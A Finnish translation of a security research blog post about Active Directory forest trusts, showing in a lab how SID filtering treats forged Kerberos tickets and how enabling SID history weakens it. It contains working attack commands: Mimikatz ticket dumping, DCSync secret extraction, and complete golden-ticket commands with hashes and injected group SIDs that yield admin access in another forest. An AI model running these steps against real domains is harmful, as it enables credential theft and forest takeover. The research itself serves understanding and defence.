Active Directory forest trusts part 1 – How does SID filtering work?

Tämä on ensimmäinen postaus sarjassa, joka käsittelee metsien välisiä Active Directory -luottamuksia. Siinä selitetään, mitä Forest trustit tarkalleen ottaen ovat ja miten ne suojataan SID-suodatuksella. Jos Active Directory -luottamukset ovat sinulle uusia, suosittelen aloittamaan lukemalla harmj0yn perusteellisen oppaan niistä. Luettuani hänen (erinomaisen) kirjoituksensa minulla oli paljon kysymyksiä siitä, miten tämä oikeastaan toimii konepellin alla ja miten saman AD-metsän sisällä olevia luottamuksia verrataan eri metsien välisiin luottamuksiin. Tämä blogisarja on sekä matkani että dokumentointini siitä, miten tutkin tätä aihetta ja miten ymmärrän sen nyt. Valmistaudu syväsukellukseen luottamuksiin, Kerberosiin, kultaisiin lippuihin, mimikatziin ja impacketiin!

Tässä postauksessa käsitellään eri metsien välisiä luottamuksia. Metsä on kokoelma yhtä tai useampaa toimialuetta, jotka ovat osa yhtä tai useampaa toimialuepuuta. Organisaatioissa, joissa on vain yksi toimialue, kyseinen toimialue muodostaa myös koko metsän. Microsoftin dokumentaatiossa luottamuksia kutsutaan usein joko interforest-luottamuksiksi (kahden eri metsän väliset luottamukset) tai intraforest-luottamuksiksi (saman metsän toimialueiden väliset luottamukset). Koska nämä sanat hämmentävät minua aina, viittaan tässä kirjoituksessa niihin joko metsän sisäisinä luottamuksina tai metsän välisinä (tai metsän rajat ylittävinä) luottamuksina. On myös tärkeää pitää mielessä, että vaikka keskustelemme kahden metsän välisistä luottamuksista, luottamukset määritellään aina toimialueiden välillä. Metsäluottamuksia voidaan luoda vain kahden eri metsän juuritoimialueen välille, joten kaikki tässä viestissä mainitut metsäluottamukset tarkoittavat kahden eri juuritoimialueen välistä luottamusta.

Yksittäisen metsän sisällä kaikki toimialueet luottavat toisiinsa, ja voit siirtyä yhdestä vaarantuneesta toimialueesta kaikkiin muihin, kuten Sean Metcalf selittää tutkimuksessaan toimialueen luottamuksista. Toistan vielä kerran:

Keskustelemme myös tietoturvatunnisteista (Security Identifiers, SID). SID on jotain, joka yksilöi yksiselitteisesti turvallisuuspäämiehen, kuten käyttäjän, ryhmän tai toimialueen. Yhdellä testimetsien toimialueista on SID S-1-5-21-3286968501-24975625-1618430583. Tunnetulla Domain Admins -ryhmällä, jonka ID on 512, on SID, joka koostuu toimialueen SID:stä ja ID:stä (jota AD-terminologiassa kutsutaan RID:ksi), joten sen SID on S-1-5-21-3286968501-24975625-1618430583-512 tässä toimialueessa.

Asennus

Asennus sisältää 3 aktiivihakemistometsiä: Sekä metsällä A että metsällä C on kaksisuuntainen transitiivinen Forest-luottamus metsän B kanssa (käymme myöhemmin läpi, mitä tämä tarkalleen ottaen tarkoittaa). Metsällä A ja metsällä C ei ole keskinäistä luottamusta. Metsä A on ainoa metsä, jossa on kaksi toimialuetta: forest-a.local ja sub.forest-a.local. Koska nämä toimialueet ovat molemmat metsässä A, niillä on kaksisuuntainen Parent-child-luottamus keskenään. Asetelma näkyy seuraavassa kuvassa:

metsien asetukset

Toimialueilla forest-a ja forest-b on molemmissa Domain Controller ja jäsenpalvelin (ei näy kuvassa), muissa toimialueissa on vain yksi Domain Controller. Koko asetelma toimii Azuressa ja sitä hallitaan Terraformin avulla, joka hoitaa virtuaalikoneet, verkot, DNS:n ja metsän asetukset, kun taas Trustit on määritetty manuaalisesti jälkikäteen.

A:sta B:hen, mitä PAC:ssa on?

Asettakaamme, että olemme metsässä A ja haluamme päästä käsiksi resursseihin metsässä B. Käytössämme on Kerberos-lipunmyöntämislipukkeemme (TGT, Kerberos Ticket Granting Ticket), joka kelpaa metsän A juuritila-alueella, jossa tällä hetkellä ollaan (jota kutsutaan sopivasti nimellä forest-a). Kun haluamme käyttää resursseja nykyisen toimialueemme ulkopuolella (joko samassa metsässä tai eri metsässä), Windows tarvitsee kyseiselle resurssille palvelulipun, tässä esimerkissä forest-b-server.forest-b.local. TGT:mme forest-a:lle on tietysti hyödytön forest-b:ssä, koska se on salattu forest-a:n krbtgt-tilin hashilla, jota forest-b:llä ei ole. Kerberosin termein katsottuna autentikoidumme eri valtakunnassa. Asiakas pyytää siis taustalla palvelulippua resurssille, jota yritämme käyttää forest-b:ssä forest-a:n toimialueohjaimessa (DC). DC:llä (joka Kerberos-termeissä on Key Distribution Center eli KDC) ei ole paikallisesti resurssia, jolla on forest-b.local-loppuliite, vaan se etsii kaikki luottamukset metsiin, joilla on tämä loppuliite.

Koska metsän A ja metsän B välillä on kaksisuuntainen luottamus, DC:llä forest-a on mahdollisuus antaa meille viittauslippu (TGT) forest-b:ään. Tämä lippu on allekirjoitettu Kerberos-realmien välisellä luottamusavaimella, ja se sisältää ryhmät, joiden jäseniä olemme forest-a:ssa. Metsä B hyväksyy tämän lipun ja myöntää meille palvelulipun forest-b-server:lle, jota voimme käyttää todennukseen. Kaavamainen yleiskuva on esitetty alla:

inter-realm kerberos

Kun yhdistämme Forest A:ssa sijaitsevalla työasemallamme Forest B:ssä sijaitsevaan palvelimeen, näemme tiketit komennolla klist:

tickets involved

Toinen tiketti ylhäältä päin on alustava TGT:mme, jota voimme käyttää pyytäessämme TGT:tä forest-b:lle. Näet, että tässä TGT:ssä forest-b:lle (ylhäällä) on krbtgt-päämies forest-b:lle palvelinkentässä. Tämä on metsässä A oleva tili, joka liittyy luottamukseen (tämän tilin nimi on forest-b$ ja se sijaitsee hakemiston Users-osiossa). Sen salattu osa on salattu alueiden välisellä luottamusavaimella, jonka nämä toimialueet jakavat.

Kolmas lippu ylhäältäpäin on lippu, jota voimme käyttää metsässä B ottaaksemme yhteyttä siellä olevaan palvelimeen. Se on palvelulippu, jonka metsän B DC on antanut meille. Kuten Server-kentästä näet, tämä lippu on annettu ja se on voimassa Kerberos-realmissa FOREST-B.LOCAL.

Sukelletaan nyt siihen, mitä tässä lipussa oikeastaan on. Jokainen Windowsin pyytämä Kerberos TGT sisältää Privilege Attribute Certificate -varmenteen eli PAC:n. Muoto on kuvattu MS-PAC:ssa MSDN:ssä. Tämä PAC sisältää muun muassa niiden ryhmien SID:t, joiden jäseniä olemme. Nähdäksemme, mitä PAC:ssa todella on, meidän on ensin haettava liput muistista. Tähän käytämme Mimikatzia, jolla voimme dumpata kaikki Kerberos-liput levylle komennolla sekurlsa::tickets /export. Vaikka Mimikatz sisältääkin jonkin verran Kerberosin virheenkorjauskoodia, en saanut selville, miten se toimii, enkä osaa kirjoittaa C:tä, joten minkään muokkaaminen ei tullut muutenkaan kysymykseen. Onneksi suosikki Python-kirjastoni impacket tukee kaikenlaisia Kerberos-juttuja. Impacket ottaa Kerberos-liput ccache-muodossa, joka ei ole Mimikatzin viemä formaatti, mutta voimme muuntaa ne helposti kekeolla. Meidän tarvitsee vain ajaa misc::convert ccache ourticket.kirbi-komento ja Kekeo tallentaa sen .ccache-tiedostoksi, jota voimme lukea Impacketilla.

PAC:n purkamiseen olen kirjoittanut muutamia apuohjelmia impacketin esimerkkien pohjalta, jotka julkaisen osana tätä tutkimusta. Kerberos-lippujen salattujen osien purkamiseen tarvitsemme tietysti salausavaimet, joten olen poiminut ne kaikkien verkkotunnusten osalta käyttäen secretsdump.py:tä ja sen dcsync-toteutusta. Ensimmäistä TGT:tä varten meidän on lisättävä tiedostoon krbtgt hash. Yllä olevan kuvakaappauksen perusteella näet, että tarvitsemme secretsdumpin dumppaaman aes256-cts-hmac-sha1-96-avaimen.

getcfST.py-työkalua käytetään pyytämään Service Ticket -palvelulippua eri metsässä .ccache-tiedostossa olevan TGT:n perusteella (voit määrittää käytettävän tiedoston export KRB5CCNAME=myticket.ccaches:llä). Tämä purkaa ja dumppaa koko PAC:n, jonka tulosteen voi nähdä täällä kiinnostuneille. Olen lisännyt muutamia koodirivejä, jotka tulostavat meille tärkeät osat helpommin luettavassa muodossa:

Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1

Tämä on melko oletusarvoinen PAC. Näemme, että olemme useiden ryhmien jäseniä, ja koska tämä on tällä hetkellä testaamamme Forest A:n Administrator-tili (ID 500, vaikka sillä on eri nimi), se on useiden oletusarvoisten ylläpitäjäryhmien, kuten Domain Admins (512) ja Enterprise Admins (519), jäsen. Meillä on myös Extra SID S-1-18-1, joka osoittaa, että tunnistaudumme valtakirjojen hallussapitotodistuksen perusteella.

Toisen TGT:n purkamiseksi meidän on vaihdettava krbtgt-tilin avain forest-b$-tilin avaimeen, joka on alueiden välinen luottamusavain. Tässä tapauksessa PAC salataan RC4:llä, joka käyttää syötteenä NT:n hashia (kyllä, sitä, jota käytetään pass-the-hashiin). Tämä on oletusarvo, ellei ruutu ”Toinen toimialue tukee Kerberos AES-salausta” ole valittuna. Kuten raakadumpista näkyy, PAC ei muuttunut, mikä tukee oletusta, että DC vain salaa PAC:n uudelleen osana tikettiä Forest B:n toimialueiden välisellä luottamusavaimella.

TGS on hieman erilainen juttu. Sen lisäksi, että getcfST.py-esimerkkiin on tehtävä muutama muutos ja sen purkamiseksi on määritettävä forest-b-server-tietokonetilin AES-256-avain, näemme, että PAC:iin on lisätty lisää tietoja (raakadumppi tässä):

Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Näemme, että PAC:iin on lisätty uusi osio, joka sisältää forest-b-toimialueen toimialueen toimialueen (domain) SID-tunnisteen (domain SID) ja ryhmän, johon tilimme kuuluu metsässä Metsä B. Nämä SID:t ovat osa PAC:n ResourceGroup-rakenteita, ja niiden avulla tallennetaan forest-b-toimialueen mahdollisten toimialueen paikallisten ryhmien jäsenyydet. Kuten tässä harmj0y:n viestissä selitetään, toimialueen paikalliset ryhmät ovat ainoat ryhmät, jotka voivat sisältää turvallisuuspäämiehiä muista metsistä. forest-b-toimialueen superuser-käyttäjämme metsästä A on jäsenenä ryhmässä Testgroup2, jonka näet alla.

tickets involved

Koska tämä näkyy PAC:ssamme, jota palvelimet, joihin tunnistaudumme Kerberos-palvelulipukkeellamme, käyttävät valtuuttamiseen, kaikki Testgroup2:lle annetut oikeudet koskevat toisen metsän superkäyttäjätiliä. Näin todennus ja valtuutus toimivat luottamusten yli.

Kultaiset liput ja SID-suodatus

Pari vuotta sitten Sean Metcalf ja Benjamin Delphy lisäsivät yhdessä SID-historiatuen Mimikatziin, mikä mahdollisti eskaloinnin Active Directory -toimialueelta toiselle saman metsän sisällä. Menettelytapa tähän on kuvattu yksityiskohtaisesti täällä. Miten tämä soveltuu luottamuksiin toisen metsän kanssa? Luodaan kultainen lippu, jossa on muutama mielenkiintoinen SID, jotta nähdään, miten niitä käsitellään, kun ne ylittävät metsän rajan. Käytämme seuraavaa Mimikatz-komentoa luodaksemme kultaisen lipun nykyisessä metsässämme:

kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:2acc1a3824a47c4fcb21ef7440042e85 /user:Superuser /target:forest-a.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106 /ptt

Kerrotaanpa tämä komento. Luomme kultaisen lipun forest-a:een, joka on allekirjoitettu forest-a:n krbtgt hashilla. Ylimääräisinä SID-tunnuksina otamme mukaan muutaman mielenkiintoisen SID-tunnuksen:

  • S-1-5-21-3286968501-24975625-1618430583-1604, sellaisen ryhmän SID, jonka jäseniä emme todellisuudessa ole
  • S-1-5-21-3286968501-24975625-1111111111-1605, sellaisen toimialueen SID, jota ei todellisuudessa ole olemassa
  • S-1-18-1, Windows lisää SID:n, joka ilmaisee, että tunnistauduimme todentamisella todisteella credentalsin hallussapidosta
  • S-1-5-21-2897307217-3322366030-3810619207-1106, ryhmä forest-b

luodaan kultainen lippu Mimikatzilla

Lippu /ptt injektoi lipun muistiin, ja selatessamme osoitteeseen \forest-b-server.forest-b.local emme näe mitään virheilmoitusta, joka osoittaa, että lipun avulla on onnistuneesti päästy käsiksi resurssiin forest-b. Viemme liput kuten ennenkin ja puramme ne samalla tavalla kuin edellisessä osiossa.

Kohdan forest-a TGT sisältää odotetut SID:t:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106

Kohdan forest-b osalta saamamme TGT, jonka saimme toimialueen hallitsijalta kohdasta forest-a ja joka on allekirjoitettu toimialueiden välisellä luottamusavaimella, sisältää itse asiassa täsmälleen samat tiedot:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106

Tämä viittaa jälleen kerran siihen, että DC ei validoi PAC:ia, vaan allekirjoittaa sen vain uudelleen toimialueiden välisellä avaimella forest-b:lle, vaikka se sisältää ryhmän, jonka jäseniä emme itse asiassa ole.

Kun esitämme tämän TGT:n DC:lle osoitteessa forest-b, saamme takaisin Service Ticketin, jossa on seuraava PAC:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Mitä tässä tapahtui? Näemme, että jälleen kerran forest-b-toimialueen jäsenyytemme on lisätty PAC:iin, mutta jotkin SID:t on suodatettu pois. Tässä kohtaa SID-suodatuksen turvamekanismi aloitti toimintansa ja suodattaa pois kaikki SID:t, jotka eivät ole osa forest-a-aluetta. SID-suodatuksen säännöt on kuvattu MSDN:ssä. Mielenkiintoisia sääntöjä tässä ovat ne, joissa on ForestSpecific-merkintä. Nämä SID:t ovat sallittuja vain metsän sisällä olevasta PAC:sta. Koska meidän PAC-järjestelmämme on metsän ulkopuolelta, nämä SID:t suodatetaan aina PAC-järjestelmästämme. ForestSpecific-sääntöjen jälkeiset kolme sääntöä varmistavat, että kaikki SID:t, jotka eivät ole metsästä A, suodatetaan pois. Tämä sisältää sekä toimittamamme SID:n, jota ei ole olemassa, että minkä tahansa ForestSpecific SID:n, joka ei ole olemassa Forest B:ssä.

Se sallii meidän silti teeskennellä olevamme kuka tahansa käyttäjä Forest A:ssa, joten jos Forest A:n käyttäjille on annettu erityisoikeuksia Forest B:ssä (minkä vuoksi koko luottamus luultavasti alun perin luotiin), ne ovat nyt vaarassa.

SID-suodatuksen höllentäminen

Mikä kiinnitti huomioni jo varhain tässä tutkimuksessa, on vaihtoehto luottamuksille, joka on käytettävissä vain netdom-työkalun kautta, eikä näy graafisessa käyttöliittymässä. Eräällä Microsoftin dokumentaation sivulla kuvataan SID-historian salliminen metsän rajat ylittävissä luottamuksissa. Mitä tämä tekee? Otetaan SID-historia käyttöön metsän B ja A välisessä luottamuksessa (mikä vaikuttaa käyttäjiin, jotka todennetaan A:sta B:ssä):

C:\Users\superuser>netdom trust /d:forest-a.local forest-b.local /enablesidhistory:yesEnabling SID history for this trust.The command completed successfully.

Mikä siis muuttui? Katsotaanpa, miten tämä näkyy Trusted Domain Objectin TrustAttributes-lippukohdassa. Voit kysyä tätä useilla työkaluilla, alla näkyy domain_trusts.html-tiedoston tuloste metsää B vastaan ajetusta ldapdomaindumpista, joka on työkalu, jonka kirjoitin jokin aika sitten AD-tietojen keräämiseen.

trust flags for forest-b

Luottamuksellamme metsän A kanssa on nyt TREAT_AS_EXTERNAL-lippu. Microsoftin asiaankuuluvassa dokumentaatiossa kirjoitetaan seuraavaa:

Jos tämä bitti on asetettu, metsän rajat ylittävää luottamusta toimialueeseen on käsiteltävä ulkoisena luottamuksena SID-suodatusta varten. Ristimetsäiset luottamukset suodatetaan tiukemmin kuin ulkoiset luottamukset. Tämä määrite lieventää näitä ristikkäismetsäisiä luottamuksia siten, että ne vastaavat ulkoisia luottamuksia. Lisätietoja kunkin luottamustyypin suodatuksesta on kohdassa 4.1.2.2.

Tämä viittaa takaisin kohtaan, jossa kuvataan SID-suodatus. Katsotaanpa, mitä tapahtuu, jos tarjoamme samaa TGT:tä forest-b DC:tä vastaan:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Palvelulippumme forest-b DC:stä sisältää nyt kaikki ne SID:t, jotka laitoimme aiempaan Mimikatz-tikettiimme! Tämä tarkoittaa, että voimme määrittää minkä tahansa SID:n, jota ei ole suodatettu metsäkohtaiseksi PAC:ssamme, ja että metsän B DC hyväksyy sen.

Luotaan uusi kultainen tiketti, jossa on muutama SID lisää, jotta voimme testata tätä hypoteesia:

kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:b8e9b4b3feb56c7ba1575bf7fa3dc76f /user:Superuser /target:forest-b.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106,S-1-5-21-2897307217-3322366030-3810619207-512,S-1-5-21-2897307217-3322366030-3810619207-519,S-1-5-21-2897307217-3322366030-3810619207-548,S-1-5-21-2897307217-3322366030-3810619207-3101

Uudet SID:t, jotka sisältyvät tähän:

  • S-1-5-21-2897307217-3322366030-3810619207-512:
  • S-1-5-21-2897307217-3322366030-3810619207-519: Enterprise Admins, tulisi suodattaa nimenomaisella ForestSpecific-säännöllä
  • S-1-5-21-2897307217-3322366030-3810619207-548: Account Operators, pitäisi suodattaa ForestSpecific-säännöllä, joka kieltää SID:t välillä 500 ja 1000.
  • S-1-5-21-2897307217-3322366030-3810619207-3101: On ryhmä, joka on Domain Admins -ryhmän jäsen, ei pitäisi suodattaa.

Kuten ehkä huomasit, yllä oleva on itse asiassa allekirjoitettu inter-realm-luottamusavaimella, joten luomme suoraan TGT:n, joka kelpaa Forest B:ssä tässä yhteydessä ohittaaksemme askeleen, jonka aikana sitä tarjotaan ensin Forest A:n DC:lle.

Nyt saamme palvelulippumme PAC:ssa takaisin seuraavat tiedot:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106 -> S-1-5-21-2897307217-3322366030-3810619207-3101Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Huomioitavaa on muutama asia:

  • Ryhmät DA/EA/Account Operators tosiaan poistetaan SID-suodatuksella
  • Ryhmää Domain Admins ei lisätä PAC:n ResourceGroup-osaan, vaikka ryhmä 3101 on tämän ryhmän suora jäsen. Tämä johtuu siitä, että Domain Admins -ryhmä on globaali ryhmä, kun taas PAC:iin lisätään vain toimialueen paikalliset ryhmät.

Hyökkääjän kannalta tämä tarkoittaa sitä, että minkä tahansa RID >1000 -ryhmän voi väärentää, jos SID-historia on otettu käyttöön Forest-luottamuksessa! Useimmissa ympäristöissä tämä antaa hyökkääjälle mahdollisuuden vaarantaa metsän. Esimerkiksi Exchange-turvaryhmillä, jotka mahdollistavat monissa asetuksissa etuoikeuksien siirtymisen DA:ksi, on kaikissa RID-tunnukset, jotka ovat suurempia kuin 1000. Monissa organisaatioissa on myös mukautettuja ryhmiä työasemien ylläpitäjille tai neuvontapalveluille, joille annetaan paikalliset järjestelmänvalvojan oikeudet työasemissa tai palvelimissa. Olen esimerkiksi juuri antanut ryhmälle IT-Admins (RID 3101, joka on osa kultaista lippuamme) järjestelmänvalvojan oikeudet koneella forest-b-server. Kun olemme vaihtaneet TGT:n palvelulippuun, voimme tunnistautua tällä lipulla koneella:

Admin-käyttöoikeus väärennetyn jäsenyyden kautta

Loppupäätelmät

Metsän rajat ylittävät luottamukset ovat oletusarvoisesti tiukasti suodatettuja eivätkä salli minkään metsän ulkopuolelta tulevan SID:n kulkea luottamuksen kautta. Hyökkääjä, joka vaarantaa luotetun metsän, voi kuitenkin esiintyä minkä tahansa kyseisen metsän käyttäjänä ja saada siten pääsyn resursseihin, jotka on nimenomaisesti myönnetty kyseisen metsän käyttäjille/ryhmille.

Jos SID-historia on käytössä metsän rajat ylittävää luottamusta varten, tietoturva heikkenee merkittävästi, ja hyökkääjät voivat esiintyä minkä tahansa sellaisen ryhmän ryhmän jäseninä, jonka RID-tunnus on suurempi kuin 1000, mikä useimmissa tapauksissa voi johtaa metsän vaarantamiseen.Jos olet tietotekniikan ylläpitäjä, harkitse tarkkaan, kenelle eri metsien käyttäjille myönnät käyttöoikeudet metsässäsi, koska jokainen käyttöoikeuden myöntänyt käyttäjä heikentää metsien välistä tietoturvallista rajaa. En suosittele SID-historian sallimista metsien välillä, ellei se ole ehdottoman välttämätöntä.

Seuraavassa osassa (tai osissa, kuka tietää) sukellamme siihen, miten luottamus Transitivity toimii ja keskustelemme muista luottamustyypeistä metsän ulkopuolisten toimialueiden kanssa. Tämä tarkoittaa, että alamme myös leikkiä Forest C:n ja sub.forest-a:n kanssa.

Työkalut

Työkalut, joita tässä postauksessa on käytetty, ovat saatavilla proof-of-conceptina GitHubissani. Nämä työkalut vaativat manuaalista muokkausta ollakseen käyttökelpoisia, ja ne tarjotaan vain AS-IS ihmisille, jotka haluavat jäljentää tai sukeltaa syvemmälle tähän tutkimukseen.

Vastaa

Sähköpostiosoitettasi ei julkaista.